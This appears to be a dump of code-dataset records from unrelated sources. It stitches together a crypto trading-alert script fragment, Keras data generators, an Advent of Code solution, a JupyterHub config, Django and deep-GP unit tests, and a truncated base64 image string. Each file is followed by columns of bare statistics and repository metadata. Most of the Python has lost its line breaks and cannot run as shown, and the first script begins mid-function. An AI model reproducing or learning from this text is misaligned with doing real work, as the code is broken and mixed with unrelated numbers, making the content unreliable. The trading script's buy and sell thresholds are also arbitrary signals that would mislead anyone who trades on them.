blue_line < orange_line and blue_line > 700 and orange_line > 0 and math.isclose(blue_line, orange_line, abs_tol = 12.00) == True and price > ema_200: print("GOOD TIME TO TAKE PROFIT BTC") sms_api.send_sell_btc_sms() else: pass if math.isclose(ema_20, ema_50, abs_tol = 14.00) == True: print("GOLDEN CROSS OR BEAR CROSS ON BTC") sms_api.send_btc_ema_sms() else: pass if daily_change <= -17.0000: print("Decent dip to DCA BTC") sms_api.send_buy_btc_sms() else: pass if daily_change >= 17.0000: print("Decent spike to take profit BTC") sms_api.send_sell_btc_sms() else: pass def buy_or_sell_eth(): handler = TA_Handler( symbol=ETH, screener="crypto", exchange="COINBASE", interval=Interval.INTERVAL_1_DAY ) analysis = handler.get_analysis() blue_line = analysis.indicators["MACD.macd"] #BLUE LINE orange_line = analysis.indicators["MACD.signal"] #ORANGE LINE rsi = analysis.indicators["RSI"] ema_200 = analysis.indicators["EMA200"] ema_20 = analysis.indicators["EMA20"] ema_50 = analysis.indicators["EMA50"] price = analysis.indicators['close'] daily_change = analysis.indicators['change'] if blue_line < orange_line and blue_line <= 0 and orange_line <= 0 and math.isclose(blue_line, orange_line, abs_tol = 4.00) == True and price < ema_200 and rsi < 50: print("GOOD TIME TO DCA ETH") sms_api.send_buy_eth_sms() else: pass if blue_line < orange_line and blue_line <= 0 and orange_line <= 0 and math.isclose(blue_line, orange_line, abs_tol = 4.00) == True and price > ema_200: print("GOOD TIME TO ENTER TRADE") sms_api.send_buy_eth_sms() else: pass if blue_line > orange_line and blue_line > 170 and orange_line > 0 and math.isclose(blue_line, orange_line, abs_tol = 4.00) == True and price > ema_200: print("GOOD TIME TO TAKE PROFIT ETH") sms_api.send_sell_eth_sms() else: pass if math.isclose(ema_20, ema_50, abs_tol = 12.00) == True: print("GOLDEN CROSS OR BEAR CROSS ON ETH") sms_api.send_eth_ema_sms() else: pass if daily_change <= -17.0000: print("Decent dip to DCA ETH") sms_api.send_buy_eth_sms() else: pass if daily_change >= 17.0000: print("Decent spike to take profit ETH") sms_api.send_sell_eth_sms() else: pass def buy_or_sell_link(): handler = TA_Handler( symbol=LINK, screener="crypto", exchange="COINBASE", interval=Interval.INTERVAL_1_DAY ) analysis = handler.get_analysis() blue_line = analysis.indicators["MACD.macd"] #BLUE LINE orange_line = analysis.indicators["MACD.signal"] #ORANGE LINE rsi = analysis.indicators["RSI"] ema_200 = analysis.indicators["EMA200"] ema_20 = analysis.indicators["EMA20"] ema_50 = analysis.indicators["EMA50"] price = analysis.indicators['close'] daily_change = analysis.indicators['change'] if blue_line < orange_line and blue_line <= 0 and orange_line <= 0 and math.isclose(blue_line, orange_line, abs_tol = 0.45) == True and price < ema_200 and rsi < 50: print("GOOD TIME TO DCA LINK") sms_api.send_buy_link_sms() else: pass if blue_line < orange_line and blue_line <= 0 and orange_line <= 0 and math.isclose(blue_line, orange_line, abs_tol = 0.25) == True and price > ema_200: print("GOOD TIME TO ENTER TRADE") sms_api.send_buy_link_sms() else: pass if blue_line < orange_line and blue_line <= 1.65 and orange_line > 0 and math.isclose(blue_line, orange_line, abs_tol = 0.15) == True and price > ema_200: print("GOOD TIME TO TO ENTER TRADE LINK") sms_api.send_buy_link_sms() else: pass if blue_line > orange_line and blue_line > 1.65 and orange_line > 0 and math.isclose(blue_line, orange_line, abs_tol = 0.15) == True and price > ema_200: print("GOOD TIME TO TAKE PROFIT LINK") sms_api.send_sell_link_sms() else: pass if math.isclose(ema_20, ema_50, abs_tol = 0.80) == True: print("GOLDEN CROSS OR BEAR CROSS ON LINK") sms_api.send_link_ema_sms() else: pass if daily_change <= -17.0000: print("Decent dip to DCA LINK") sms_api.send_buy_link_sms() else: pass if daily_change >= 17.0000: print("Decent spike to take profit LINK") sms_api.send_sell_link_sms() else: pass #""" Fn's to get asset price data """ def eos_price(): eos_price = TA_Handler( symbol=EOS, screener="crypto", exchange="COINBASE", interval=Interval.INTERVAL_1_MINUTE ) analysis = eos_price.get_analysis() price = analysis.indicators['close'] return price def xrp_price(): xrp_price = TA_Handler( symbol=XRP, screener="crypto", exchange="BITFINEX", interval=Interval.INTERVAL_1_MINUTE ) analysis = xrp_price.get_analysis() price = analysis.indicators['close'] #print(price) return price def bch_price(): bch_price = TA_Handler( symbol=BCH, screener="crypto", exchange="COINBASE", interval=Interval.INTERVAL_1_MINUTE ) analysis = bch_price.get_analysis() price = analysis.indicators['close'] return price def dash_price(): dash_price = TA_Handler( symbol=DASH, screener="crypto", exchange="COINBASE", interval=Interval.INTERVAL_1_MINUTE ) analysis = dash_price.get_analysis() price = analysis.indicators['close'] return price def xlm_price(): dash_price = TA_Handler( symbol=XLM, screener="crypto", exchange="COINBASE", interval=Interval.INTERVAL_1_MINUTE ) analysis = dash_price.get_analysis() price = analysis.indicators['close'] return price def btc_price(): btc_price = TA_Handler( symbol=BTC, screener="crypto", exchange="COINBASE", interval=Interval.INTERVAL_1_MINUTE ) analysis = btc_price.get_analysis() price = analysis.indicators['close'] return price def link_price(): link_price = TA_Handler( symbol=LINK, screener="crypto", exchange="COINBASE", interval=Interval.INTERVAL_1_MINUTE ) analysis = link_price.get_analysis() price = analysis.indicators['close'] return price

29.743631

172

0.627657

2,608

18,679

4.252301

0.04908

0.072137

0.079531

0.102254

0.939405

0.939225

0.935437

0.923895

0.914968

0.903697

0

0.042372

0.272231

18,679

627

173

29.791069

0.773429

0.018256

0

0.663507

0

0.118725

0

1

0.035545

false

0.125592

0.009479

0

0.061611

0.125592

0

null

0

1

0

null

0

1

0

7

02e8766a2979087f9e49065117f79d9a25dc960a

2,114

py

Python

src/Hybrid/generators.py

alirezane/ALPR-DeepNN

aabfd2f30a37cbebcf0b2b64dcfef1897ae8480f

[ "CNRI-Python" ]

1

2020-07-14T01:49:15.000Z

src/Hybrid/generators.py

alirezane/ALPR-DeepNN

aabfd2f30a37cbebcf0b2b64dcfef1897ae8480f

[ "CNRI-Python" ]

null

src/Hybrid/generators.py

alirezane/ALPR-DeepNN

aabfd2f30a37cbebcf0b2b64dcfef1897ae8480f

[ "CNRI-Python" ]

null

import numpy as np import gc from keras.utils import Sequence class HybridGenerator(Sequence): def __init__(self, images, labels, locations, batch_size): self.images = images self.labels = labels self.locations = locations self.batch_size = batch_size def __len__(self): return (np.ceil(len(self.images) / float(self.batch_size))).astype(np.int) def __getitem__(self, idx): batch_x = self.images[idx * self.batch_size: (idx + 1) * self.batch_size] batch_y_ocr = self.labels[idx * self.batch_size: (idx + 1) * self.batch_size] batch_y_seg = self.locations[idx * self.batch_size: (idx + 1) * self.batch_size] batch_y_seg = [label.flatten() for label in batch_y_seg] gc.collect() return np.array(batch_x), {'OCR': np.array(batch_y_ocr), 'Segmentation': np.array(batch_y_seg)} class OCRGenerator(Sequence): def __init__(self, images, labels, batch_size): self.images = images self.labels = labels self.batch_size = batch_size def __len__(self): return (np.ceil(len(self.images) / float(self.batch_size))).astype(np.int) def __getitem__(self, idx): batch_x = self.images[idx * self.batch_size: (idx + 1) * self.batch_size] batch_y_ocr = self.labels[idx * self.batch_size: (idx + 1) * self.batch_size] gc.collect() return np.array(batch_x), np.array(batch_y_ocr) class SegmentationGenerator(Sequence): def __init__(self, images, locations, batch_size): self.images = images self.locations = locations self.batch_size = batch_size def __len__(self): return (np.ceil(len(self.images) / float(self.batch_size))).astype(np.int) def __getitem__(self, idx): batch_x = self.images[idx * self.batch_size: (idx + 1) * self.batch_size] batch_y_seg = self.locations[idx * self.batch_size: (idx + 1) * self.batch_size] gc.collect() return np.array(batch_x), np.array(batch_y_seg)

38.436364

89

0.629612

287

2,114

4.33101

0.142857

0.188254

0.209171

0.115849

0.871279

0.820595

0.770716

0.713596

0.647627

0

0.004428

0.252129

2,114

55

90

38.436364

0.781784

0

0.674419

0

0.007278

0

1

0.209302

false

0

0.069767

0.488372

0

null

0

1

0

1

0

null

0

1

0

8

f300a3bf84ddcb73abfa02708ae110ad238a1186

4,023

py

Python

y_2020/day18.py

Stegallo/adventofcode

74cd3725318150a4fee397a9388326d56ca49333

[ "MIT" ]

4

2020-11-28T15:46:43.000Z

2021-12-02T22:37:27.000Z

y_2020/day18.py

Stegallo/adventofcode

74cd3725318150a4fee397a9388326d56ca49333

[ "MIT" ]

80

2020-07-02T19:01:20.000Z

2021-12-06T03:48:46.000Z

y_2020/day18.py

Stegallo/adventofcode

74cd3725318150a4fee397a9388326d56ca49333

[ "MIT" ]

2

2021-04-04T06:22:56.000Z

2021-05-03T20:23:51.000Z

from .common import AoCDay from .utils import prod # GLOBAL_POINTER = 0 def custom_add(a, b): return a + b def custom_mul(a, b): return a * b OPS = {"+": custom_add, "*": custom_mul} class Day(AoCDay): def __init__(self): super().__init__(18) def _preprocess_input(self): self.__input = [i for i in self._input_data] def calc1(self, lst): # global GLOBAL_POINTER # print(lst) # print() op = None op_n = 0 a = 0 b = 0 x = [] ignore = 0 # breakpoint() for c, j in enumerate(lst): # print(f"{j=} in {''.join(lst)}, {ignore=}; {x=}") if ignore: if j == ")": ignore -= 1 if j == "(": ignore += 1 continue if j == ")": return a # continue if j in OPS: # print(OPS) op = j else: if op_n == 0: if j == "(": ignore += 1 # breakpoint() a = self.calc1(lst[c + 1 :]) else: a = int(j) x.append(a) op_n = 1 else: if j == "(": ignore += 1 # breakpoint() b = self.calc1(lst[c + 1 :]) else: b = int(j) if op == "+" or True: # a = x[-1] # print(f"{a=}, {b=}") a = OPS[op](a, b) # x[-1] = a else: x.append(b) # breakpoint() # print(f"{x=}") return a def calc2(self, lst): # global GLOBAL_POINTER # print(lst) # print() op = None op_n = 0 a = 0 b = 0 x = [] ignore = 0 # breakpoint() for c, j in enumerate(lst): # print(f"{j=} in {''.join(lst)}, {ignore=}; {x=}") if ignore: if j == ")": ignore -= 1 if j == "(": ignore += 1 continue if j == ")": return prod(x) # continue if j in OPS: # print(OPS) op = j else: if op_n == 0: if j == "(": ignore += 1 # breakpoint() a = self.calc2(lst[c + 1 :]) else: a = int(j) x.append(a) op_n = 1 else: if j == "(": ignore += 1 # breakpoint() b = self.calc2(lst[c + 1 :]) else: b = int(j) if op == "+": a = x[-1] # print(f"{a=}, {b=}") a = OPS[op](a, b) x[-1] = a else: x.append(b) # breakpoint() # print(f"{x=}") return prod(x) def _calculate_1(self): # print(self.__input) result = 0 for i in self.__input: express = [k for k in list(i) if k != " "] # print(f"{express=}") result += self.calc1(express) return result def _calculate_2(self): # print(self.__input) result = 0 for i in self.__input: express = [k for k in list(i) if k != " "] # print(f"{express=}") result += self.calc2(express) return result

26.467105

63

0.309222

382

4,023

3.15445

0.151832

0.029876

0.059751

0.06639

0.767635

0.738589

0.721992

0.692116

0

0.025015

0.572707

4,023

151

64

26.642384

0.675974

0.12876

0

0.745098

0

0.004607

0

1

0.078431

false

0

0.019608

0.186275

0

null

0

1

0

1

0

1

0

null

0

7

f3049a8b1850e62bd2736bd88bd151c008f9eef0

95

py

Python

jupyterhub_config.py

janbucher/gallery

18cee4450a086b3fa61bce886b0377cf0e0282b3

[ "BSD-3-Clause" ]

34

2020-01-20T18:07:11.000Z

2022-03-18T08:58:15.000Z

jupyterhub_config.py

janbucher/gallery

18cee4450a086b3fa61bce886b0377cf0e0282b3

[ "BSD-3-Clause" ]

55

2019-06-07T06:02:02.000Z

2019-09-27T09:38:20.000Z

jupyterhub_config.py

janbucher/gallery

18cee4450a086b3fa61bce886b0377cf0e0282b3

[ "BSD-3-Clause" ]

43

2020-01-09T16:24:35.000Z

2021-12-28T15:58:07.000Z

from tljh_voila_gallery import tljh_custom_jupyterhub_config tljh_custom_jupyterhub_config(c)

23.75

60

0.915789

14

95

5.642857

0.642857

0.253165

0.506329

0.658228

0

0.063158

95

3

61

31.666667

0.88764

0

1

0

true

0

0.5

0

0.5

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

b878d531f2dafe6e7379e267f623a1d4a4a80165

6,465

py

Python

tests/test_app/tests.py

coletivoEITA/django-archive-mixin

0bd9d5e6f378995e12183c232e70c1f22781c7d9

[ "MIT" ]

null

tests/test_app/tests.py

coletivoEITA/django-archive-mixin

0bd9d5e6f378995e12183c232e70c1f22781c7d9

[ "MIT" ]

null

tests/test_app/tests.py

coletivoEITA/django-archive-mixin

0bd9d5e6f378995e12183c232e70c1f22781c7d9

[ "MIT" ]

1

2021-01-30T20:23:05.000Z

from django.test import TestCase from . import models class ArchiveMixinTestCase(TestCase): def test_built_in_cascade(self): """ Verifies cascade deletion """ base = models.BaseModel.objects.create(name='test') models.NullRelatedModel.objects.create(nullable_base=base) base.delete() self.assertFalse(models.NullRelatedModel.objects.exists()) def test_cascade_delete(self): """ Verify that if we delete a model with the ArchiveMixin, then the delete cascades to its "parents", i.e. the models with foreign keys to it. """ base = models.BaseArchiveModel.objects.create(name='test') related = models.RelatedModel.objects.create(base=base) models.RelatedCousinModel.objects.create(related=related) related_archivable = models.RelatedArchiveModel.objects.create( base=base) cousin_archivable = models.RelatedCousinArchiveModel.objects.create( related=related_archivable) base.delete() self.assertFalse(models.RelatedModel.objects.exists()) self.assertFalse(models.RelatedCousinModel.objects.exists()) self.assertFalse(models.RelatedArchiveModel.objects.exists()) self.assertTrue(models.RelatedArchiveModel.all_objects.exists()) related_archivable = models.RelatedArchiveModel.all_objects.get( pk=related_archivable.pk) self.assertIsNotNone(related_archivable.deleted) self.assertFalse(models.RelatedCousinArchiveModel.objects.exists()) self.assertTrue(models.RelatedCousinArchiveModel.all_objects.exists()) cousin_archivable = models.RelatedCousinArchiveModel.all_objects.get( pk=cousin_archivable.pk) self.assertIsNotNone(cousin_archivable.deleted) def test_cascade_delete_qs(self): """ Verify that if we delete a model with the ArchiveMixin, then the delete cascades to its "parents", i.e. the models with foreign keys to it. """ base = models.BaseArchiveModel.objects.create(name='test') models.BaseArchiveModel.objects.create(name='test') models.BaseArchiveModel.objects.create(name='test') related = models.RelatedModel.objects.create(base=base) models.RelatedCousinModel.objects.create(related=related) related_archivable = models.RelatedArchiveModel.objects.create( base=base) models.RelatedCousinArchiveModel.objects.create( related=related_archivable) models.BaseArchiveModel.objects.all().delete() self.assertFalse(models.RelatedModel.objects.exists()) self.assertFalse(models.RelatedCousinModel.objects.exists()) self.assertFalse(models.RelatedArchiveModel.objects.exists()) self.assertTrue(models.RelatedArchiveModel.all_objects.exists()) self.assertFalse(models.RelatedCousinArchiveModel.objects.exists()) self.assertTrue(models.RelatedCousinArchiveModel.all_objects.exists()) def test_cascade_nullable(self): """ Verify that related models are deleted even if the relation is nullable. """ base = models.BaseArchiveModel.objects.create(name='test') base2 = models.BaseArchiveModel.objects.create(name='test2') related = models.RelatedModel.objects.create( base=base, null_base=base2) archivable_related = models.RelatedArchiveModel.objects.create( base=base, null_base=base2) models.RelatedCousinModel.objects.create(related=related) models.RelatedCousinArchiveModel.objects.create( related=archivable_related) base2.delete() self.assertEquals(1, models.BaseArchiveModel.objects.count()) self.assertEquals(0, models.RelatedModel.objects.count()) self.assertEquals(0, models.RelatedArchiveModel.objects.count()) self.assertEquals(0, models.RelatedCousinModel.objects.count()) self.assertEquals(0, models.RelatedCousinArchiveModel.objects.count()) def test_cascade_set_null(self): """ Verify that related models are not deleted if on_delete is SET_NULL """ base = models.BaseArchiveModel.objects.create(name='test') base2 = models.BaseArchiveModel.objects.create(name='test2') related = models.RelatedModel.objects.create( base=base, set_null_base=base2) models.RelatedCousinModel.objects.create(related=related) base2.delete() self.assertEquals(1, models.BaseArchiveModel.objects.count()) self.assertEquals(1, models.RelatedModel.objects.count()) self.assertEquals(1, models.RelatedCousinModel.objects.count()) self.assertTrue( models.RelatedModel.objects.filter(pk=related.pk).exists()) def test_cascade_set_null_qs(self): """ Verify that related models are not deleted if on_delete is SET_NULL """ base = models.BaseArchiveModel.objects.create(name='test') base2 = models.BaseArchiveModel.objects.create(name='test2') related = models.RelatedModel.objects.create( base=base, set_null_base=base2) models.RelatedCousinModel.objects.create(related=related) models.BaseArchiveModel.objects.filter(pk=base2.pk).delete() self.assertEquals(1, models.BaseArchiveModel.objects.count()) self.assertEquals(1, models.RelatedModel.objects.count()) self.assertEquals(1, models.RelatedCousinModel.objects.count()) self.assertTrue( models.RelatedModel.objects.filter(pk=related.pk).exists()) def test_cascade_set_default(self): """ Verify that related models are not deleted if on_delete is SET_DEFAULT """ base = models.BaseArchiveModel.objects.create(name='test') base2 = models.BaseArchiveModel.objects.create(name='test2') related = models.RelatedModel.objects.create( base=base, set_default_base=base2) models.RelatedCousinModel.objects.create(related=related) base2.delete() self.assertEquals(1, models.BaseArchiveModel.objects.count()) self.assertEquals(1, models.RelatedModel.objects.count()) self.assertEquals(1, models.RelatedCousinModel.objects.count()) self.assertTrue( models.RelatedModel.objects.filter(pk=related.pk).exists())

42.254902

78

0.694509

662

6,465

6.700906

0.113293

0.093778

0.117674

0.09468

0.840397

0.79734

0.756988

0.718665

0

0.006022

0.203712

6,465

152

79

42.532895

0.855672

0.090487

0

0.704082

0

0.009863

0

0.326531

1

0.071429

false

0

0.020408

0

0.102041

0

null

0

1

0

1

0

null

0

7

b2622c47794e2e28234b12a154e6dca8237c8c70

6,575

py

Python

deepgp/testing/model_tests_basic.py

LBJ-Wade/PyDeepGP

f2a1f568a7462633a58ed433520dcf7f0c98515c

[ "BSD-3-Clause" ]

201

2017-02-22T20:13:12.000Z

2022-03-16T13:20:30.000Z

deepgp/testing/model_tests_basic.py

LBJ-Wade/PyDeepGP

f2a1f568a7462633a58ed433520dcf7f0c98515c

[ "BSD-3-Clause" ]

23

2017-03-27T18:41:56.000Z

2021-06-28T03:05:07.000Z

deepgp/testing/model_tests_basic.py

LBJ-Wade/PyDeepGP

f2a1f568a7462633a58ed433520dcf7f0c98515c

[ "BSD-3-Clause" ]

59

2017-03-24T12:45:14.000Z

2022-03-02T05:13:21.000Z

# Copyright (c) 2015-2016, the authors (see AUTHORS.txt). # Licensed under the BSD 3-clause license (see LICENSE.txt) import unittest import numpy as np import deepgp import GPy import os import h5py import tables base_path = os.path.dirname(__file__) class DGPUnsupervisedTest(unittest.TestCase): """ Normal Deep GPs without back-constraint """ datafile = 'random_10_3.txt' modelfile = 'dgp_unsupervised.h5' def setUp(self): # Load data Y = np.loadtxt(os.path.join(base_path,self.datafile)) m = deepgp.DeepGP([Y.shape[1],5,2],Y,kernels=[GPy.kern.RBF(5,ARD=True), GPy.kern.RBF(2,ARD=True)], num_inducing=2, back_constraint=False) if not os.path.exists(os.path.join(base_path,self.modelfile)): # Create the model file m.randomize() m._trigger_params_changed() m.save(os.path.join(base_path,self.modelfile)) with h5py.File(os.path.join(base_path,self.modelfile),'r+') as f: L = f.create_dataset("L", (1,),dtype=np.float) L[:] = m._log_marginal_likelihood f.close() # Load model parameters with tables.open_file(os.path.join(base_path,self.modelfile),'r') as f: m.param_array[:] = f.root.param_array[:] L = float(f.root.L[:]) m._trigger_params_changed() f.close() self.model = m self.L = L def test_gradient(self): self.assertTrue(self.model.checkgrad()) def test_checkLogLikelihood(self): self.assertTrue(np.allclose(float(self.model._log_marginal_likelihood), self.L, rtol=1e-05, atol=1e-08), str(float(self.model._log_marginal_likelihood))+', '+str(self.L)) class DGPSupervisedTest(unittest.TestCase): """ Normal Deep GPs without back-constraint """ outputfile = 'random_10_3.txt' inputfile = 'random_10_2.txt' modelfile = 'dgp_supervised.h5' def setUp(self): # Load data Y = np.loadtxt(os.path.join(base_path,self.outputfile)) X = np.loadtxt(os.path.join(base_path,self.inputfile)) m = deepgp.DeepGP([Y.shape[1],5,X.shape[1]],Y, X=X,kernels=[GPy.kern.RBF(5,ARD=True), GPy.kern.RBF(X.shape[1],ARD=True)], num_inducing=2, back_constraint=False) if not os.path.exists(os.path.join(base_path,self.modelfile)): # Create the model file m.randomize() m._trigger_params_changed() m.save(os.path.join(base_path,self.modelfile)) with h5py.File(os.path.join(base_path,self.modelfile),'r+') as f: L = f.create_dataset("L", (1,),dtype=np.float) L[:] = m._log_marginal_likelihood f.close() # Load model parameters with tables.open_file(os.path.join(base_path,self.modelfile),'r') as f: m.param_array[:] = f.root.param_array[:] L = float(f.root.L[:]) m._trigger_params_changed() f.close() self.model = m self.L = L def test_gradient(self): self.assertTrue(self.model.checkgrad()) def test_checkLogLikelihood(self): self.assertTrue(np.allclose(float(self.model._log_marginal_likelihood), self.L, rtol=1e-05, atol=1e-08), str(float(self.model._log_marginal_likelihood))+', '+str(self.L)) class DGP_BC_UnsupervisedTest(unittest.TestCase): """ Normal Deep GPs with back-constraint """ datafile = 'random_10_3.txt' modelfile = 'dgp_bc_unsupervised.h5' def setUp(self): # Load data Y = np.loadtxt(os.path.join(base_path,self.datafile)) m = deepgp.DeepGP([Y.shape[1],5,2],Y,kernels=[GPy.kern.RBF(5,ARD=True), GPy.kern.RBF(2,ARD=True)], num_inducing=2, back_constraint=True, encoder_dims=[[3],[2]]) if not os.path.exists(os.path.join(base_path,self.modelfile)): # Create the model file m.randomize() m._trigger_params_changed() m.save(os.path.join(base_path,self.modelfile)) with h5py.File(os.path.join(base_path,self.modelfile),'r+') as f: L = f.create_dataset("L", (1,),dtype=np.float) L[:] = m._log_marginal_likelihood f.close() # Load model parameters with tables.open_file(os.path.join(base_path,self.modelfile),'r') as f: m.param_array[:] = f.root.param_array[:] L = float(f.root.L[:]) m._trigger_params_changed() f.close() self.model = m self.L = L def test_gradient(self): self.assertTrue(self.model.checkgrad()) def test_checkLogLikelihood(self): self.assertTrue(np.allclose(float(self.model._log_marginal_likelihood), self.L, rtol=1e-05, atol=1e-08), str(float(self.model._log_marginal_likelihood))+', '+str(self.L)) class DGP_BC_SupervisedTest(unittest.TestCase): """ Normal Deep GPs with back-constraint """ outputfile = 'random_10_3.txt' inputfile = 'random_10_2.txt' modelfile = 'dgp_bc_supervised.h5' def setUp(self): # Load data Y = np.loadtxt(os.path.join(base_path,self.outputfile)) X = np.loadtxt(os.path.join(base_path,self.inputfile)) m = deepgp.DeepGP([Y.shape[1],5,X.shape[1]],Y, X=X,kernels=[GPy.kern.RBF(5,ARD=True), GPy.kern.RBF(X.shape[1],ARD=True)], num_inducing=2, back_constraint=True, encoder_dims=[[3]]) if not os.path.exists(os.path.join(base_path,self.modelfile)): # Create the model file m.randomize() m._trigger_params_changed() m.save(os.path.join(base_path,self.modelfile)) with h5py.File(os.path.join(base_path,self.modelfile),'r+') as f: L = f.create_dataset("L", (1,),dtype=np.float) L[:] = m._log_marginal_likelihood f.close() # Load model parameters with tables.open_file(os.path.join(base_path,self.modelfile),'r') as f: m.param_array[:] = f.root.param_array[:] L = float(f.root.L[:]) m._trigger_params_changed() f.close() self.model = m self.L = L def test_gradient(self): self.assertTrue(self.model.checkgrad()) def test_checkLogLikelihood(self): self.assertTrue(np.allclose(float(self.model._log_marginal_likelihood), self.L, rtol=1e-05, atol=1e-08), str(float(self.model._log_marginal_likelihood))+', '+str(self.L))

40.091463

187

0.609582

912

6,575

4.237939

0.123904

0.041915

0.056921

0.07969

0.93066

0.894955

0.871151

0

0.018384

0.247148

6,575

163

188

40.337423

0.762424

0.073612

0

0.821429

0

0.03192

0.003658

0

0.071429

1

0.107143

false

0

0.0625

0

0.294643

0

null

0

1

0

1

0

null

0

7

a2648a5225ecf335c8c7bc517e2e4dd3c4768026

92

py

Python

Test/test.py

vishu22314558/py-code

b2c5daabb524cfea4c578fa3b6dffc10f1ec6c18

[ "Apache-2.0" ]

null

Test/test.py

vishu22314558/py-code

b2c5daabb524cfea4c578fa3b6dffc10f1ec6c18

[ "Apache-2.0" ]

null

Test/test.py

vishu22314558/py-code

b2c5daabb524cfea4c578fa3b6dffc10f1ec6c18

[ "Apache-2.0" ]

null

import datetime print("Hello") print(datetime.datetime.now()) print(datetime.datetime.now())

23

30

0.782609

12

92

6

0.416667

0.361111

0.583333

0.666667

0

0.043478

92

4

31

23

0.818182

0

0.5

0

0.053763

0

1

0

true

0

0.25

0

0.25

0.75

1

0

null

1

0

1

0

null

0

1

0

1

0

7

a292cb437762d7032f2a2d9e7ca3b347f5d3c75e

6,597

py

Python

Shudipto Trafder/Bengali Digit Recognizer/model/test.py

anirbansen3027/UdacityOpenSource

c032f610a7861c234e189841f996bff877c94e34

[ "Apache-2.0" ]

2

2019-08-20T12:58:01.000Z

2019-08-20T13:13:28.000Z

Shudipto Trafder/Bengali Digit Recognizer/model/test.py

anirbansen3027/UdacityOpenSource

c032f610a7861c234e189841f996bff877c94e34

[ "Apache-2.0" ]

null

Shudipto Trafder/Bengali Digit Recognizer/model/test.py

anirbansen3027/UdacityOpenSource

c032f610a7861c234e189841f996bff877c94e34

[ "Apache-2.0" ]

1

2019-08-20T13:14:59.000Z

import os import torch import sys # path = os.path.join('../model', 'model' + "." + 'pt') # print(path) di = b'data:image/png;base64,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